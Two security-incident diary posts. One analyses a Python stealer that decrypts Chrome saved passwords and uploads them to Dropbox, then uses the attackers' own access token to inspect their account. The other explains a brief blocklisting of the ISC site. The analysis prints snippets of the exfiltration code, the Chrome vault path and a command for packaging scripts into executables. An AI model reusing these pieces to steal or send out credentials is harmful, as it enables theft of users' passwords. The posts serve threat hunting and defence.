Using API's to Track Attackers
For a few days, I’m keeping an eye on suspicious Python code posted on VT. We all know that VBA, JavaScript, Powershell, etc are attacker’s best friends but Python is also a good candidate to perform malicious activities on a computer. Even if Python isn't installed by default, it’s easy to “compile” a Python script to make it portable via a PE file. There exists multiple tools to achieve this, my favorite being 'pyinstaller':
c:\python35\scripts> pyinstaller.exe —one file —noconsole c:\malicious.py
Note that the Python code is not compiled but embedded in the PE with all the required files/libraries and… a Python interpreter. The generated executable can, therefore, be sometimes very big.
Yesterday, I found an interesting piece of malicious Python code that steals Chrome credentials by attacking the default password vault:
\AppData\Local\Google\Chrome\User Data\default\Login Data
It's not very difficult to decrypt Chrome saved passwords, you just need to get the master key[1].
The script SHA256 hash is 73f28853a809cd3c31717e4849bec90b4545f319a3c8d90669bc37356ca829f4 and has a current VT score of 2/58[2]! The code is very simple, not obfuscated. The attackers reused exactly the same piece of coded (link above) to decrypt the master key - hey, why reinvent the wheel? To exfiltrate data, they decided to use Dropbox. The well-known file sharing service provides indeed a nice Python interface to its API[3] which is very easy to use:
>>> import dropbox >>> d = dropbox.Dropbox(access_token) >>> d.files_upload(open(“local_file.txt”, "rb").read(), “remote_file.txt”, dropbox.files.WriteMode.overwrite)
To access your Dropbox account, you need to generate an ‘access_token’[4] that must be available somewhere in the script. Storing such sensitive information is always touchy. This time, they just used ROT13:
# pass accesstoken in rot13 to avoid sring detection - people having control over the account access_token = encode(“xxxxx”, 'rot13')
So, let's try to find who's behind this script!
When you don't have experience with Python library objects, your first reflex must be to search for the available methods via dir():
>>> import dropbox >>> d.dropbox.Dropbox("xxxxx") >>> for method in dir(d): ... print(method) ... _API_VERSION _DEFAULT_TIMEOUT _ROUTE_STYLE_DOWNLOAD _ROUTE_STYLE_RPC _ROUTE_STYLE_UPLOAD __class__ __delattr__ __dict__ __dir__ __doc__ __eq__ __format__ __ge__ __getattribute__ __gt__ __hash__ __init__ __init_subclass__ __le__ __lt__ __metaclass__ __module__ __ne__ __new__ __reduce__ __reduce_ex__ __repr__ __setattr__ __sizeof__ __str__ __subclasshook__ __weakref__ _get_route_url _headers _host_map _logger _max_retries_on_error _max_retries_on_rate_limit _oauth2_access_token _raw_user_agent _save_body_to_file _session _timeout _user_agent auth_token_from_oauth1 auth_token_revoke clone file_properties_properties_add file_properties_properties_overwrite file_properties_properties_remove file_properties_properties_search file_properties_properties_search_continue file_properties_properties_update file_properties_templates_add_for_team file_properties_templates_add_for_user file_properties_templates_get_for_team file_properties_templates_get_for_user file_properties_templates_list_for_team file_properties_templates_list_for_user file_properties_templates_remove_for_team file_properties_templates_remove_for_user file_properties_templates_update_for_team file_properties_templates_update_for_user file_requests_create file_requests_get file_requests_list file_requests_update files_alpha_get_metadata files_alpha_upload files_copy files_copy_batch files_copy_batch_check files_copy_reference_get files_copy_reference_save files_copy_v2 files_create_folder files_create_folder_v2 files_delete files_delete_batch files_delete_batch_check files_delete_v2 files_download files_download_to_file files_download_zip files_download_zip_to_file files_get_metadata files_get_preview files_get_preview_to_file files_get_temporary_link files_get_thumbnail files_get_thumbnail_batch files_get_thumbnail_to_file files_list_folder files_list_folder_continue files_list_folder_get_latest_cursor files_list_folder_longpoll files_list_revisions files_move files_move_batch files_move_batch_check files_move_v2 files_permanently_delete files_properties_add files_properties_overwrite files_properties_remove files_properties_template_get files_properties_template_list files_properties_update files_restore files_save_url files_save_url_check_job_status files_search files_upload files_upload_session_append files_upload_session_append_v2 files_upload_session_finish files_upload_session_finish_batch files_upload_session_finish_batch_check files_upload_session_start paper_docs_archive paper_docs_create paper_docs_download paper_docs_download_to_file paper_docs_folder_users_list paper_docs_folder_users_list_continue paper_docs_get_folder_info paper_docs_list paper_docs_list_continue paper_docs_permanently_delete paper_docs_sharing_policy_get paper_docs_sharing_policy_set paper_docs_update paper_docs_users_add paper_docs_users_list paper_docs_users_list_continue paper_docs_users_remove request request_json_object request_json_string request_json_string_with_retry sharing_add_file_member sharing_add_folder_member sharing_change_file_member_access sharing_check_job_status sharing_check_remove_member_job_status sharing_check_share_job_status sharing_create_shared_link sharing_create_shared_link_with_settings sharing_get_file_metadata sharing_get_file_metadata_batch sharing_get_folder_metadata sharing_get_shared_link_file sharing_get_shared_link_file_to_file sharing_get_shared_link_metadata sharing_get_shared_links sharing_list_file_members sharing_list_file_members_batch sharing_list_file_members_continue sharing_list_folder_members sharing_list_folder_members_continue sharing_list_folders sharing_list_folders_continue sharing_list_mountable_folders sharing_list_mountable_folders_continue sharing_list_received_files sharing_list_received_files_continue sharing_list_shared_links sharing_modify_shared_link_settings sharing_mount_folder sharing_relinquish_file_membership sharing_relinquish_folder_membership sharing_remove_file_member sharing_remove_file_member_2 sharing_remove_folder_member sharing_revoke_shared_link sharing_share_folder sharing_transfer_folder sharing_unmount_folder sharing_unshare_file sharing_unshare_folder sharing_update_file_member sharing_update_folder_member sharing_update_folder_policy team_log_get_events team_log_get_events_continue users_get_account users_get_account_batch users_get_current_account users_get_space_usage with_path_root >>>
As you can see, all Dropbox features are fully supported by the API is fully and allow you to perform almost anything on files and your account.
The very first interesting method to use is users_get_current_account() to get information about the account. Now, we know more information about the attackers:
>>> for i in str(client.users_get_current_account()).split(','): ... print(i) ... FullAccount(account_id='dbid:xxxxxxxxxx' name=Name(given_name='xxxxx xxxxxx' surname='' familiar_name='xxxxx xxxxxx' display_name='xxxxx xxxxxx' abbreviated_name='xx') email='xxxx.xxxxx@gmail.com' email_verified=True disabled=False locale='en' referral_link='https://www.dropbox.com/referrals/xxxxxxxxxx?src=appx-xxxxxxx' is_paired=False account_type=AccountType('basic' None) root_info=UserRootInfo(root_namespace_id='xxxxxxxxxx' home_namespace_id='xxxxxxxxxx') profile_photo_url='https://dl-web.dropbox.com/account_photo/get/dbaphid%xxxxxx?size=128x128&vers=xxxxxxxxx' country='US' team=None team_member_id=None) >>>
You can also check the profile picture:
Based on what is found in the Python script, data is exfiltrated in a '/passwords' directory:
file_to = "/passwords/" + str(getpass.getuser()) + "'s_passwords.txt"
So, let's have a look at the existing files.
>>> for file in d.files_list_folder('').entries: ... print(file.name) ... passwords Get Started with Dropbox.pdf
We have indeed this interesting directory (together with the default documentation file provided by Dropbox). Let's check inside the directory:
>>> for file in d.files_list_folder('/passwords').entries: ... print(file.name) ... xxxxx's_passwords.txt xxxxx's_passwords.txt >>>
Ok, let's stop here, we will NOT grab files and have a look at the stolen data.
Conclusion: If API's are very useful from an attacker perspective, they are also very interesting when you need to investigate an incident or do some hunting!
[1] https://github.com/agentzex/chrome_v80_password_grabber
[2] https://www.virustotal.com/gui/file/73f28853a809cd3c31717e4849bec90b4545f319a3c8d90669bc37356ca829f4/detection
[3] https://github.com/dropbox/dropbox-sdk-python
[4] https://dropbox.tech/developers/generate-an-access-token-for-your-own-account
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
ISC Blocked
This morning at the ISC was a bit more interesting than usual. As I was skimming through the emails I found the usual great submissions from readers, but what got my attention was an email from Iztok, and others, indicating that the ISC was inaccessible because the ISC site was placed on a blocklist by Cisco Talos.
This stuff happens to us now and then. When you write about malware as much as the Handlers do it is bound to happen that we will get the odd false positive now and then. But I don’t think that we have every been blocked by a research organization with the reach of Cisco Talos. Now don’t get me wrong. This diary is not to complain about the good people at Talos. They do great work, and they were amazingly quick to unblock us once they were alerted to the issue.
But as often happens here at the ISC, curiosity get the better of us and we set out to investigate how this might have happened. The first bit of information that came back to us, from the good people at Cisco Talos, is that a piece of submitted malware tried to contact the ISC. This lead us to VirusTotal. Just to be completely clear, we did not have any other information from Cisco Talos, so I might be barking up the wrong tree. A Virustotal search for malware referring to isc.sans.edu found a piece of malware with a creation date in June of 2012 that was first submitted to VT on Friday August 14, 2020. Seems rather coincidental.
This piece of malware, which has a 60 out of 68 detection rate as a Trojan backdoor, references a diary from in March of 2012.
Unfortunately this is where the investigation ends. None of us could come up with a reason why a piece of malware would want to reference that diary. Speculation was that maybe it was used as a network connectivity check, but a check of the logs showed that the only hits to that diary are all by search engine crawlers. If it was used for some nefarious purpose, it was lost in time.
If you have any ideas we would love to hear them via our contact form.
-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)
Comments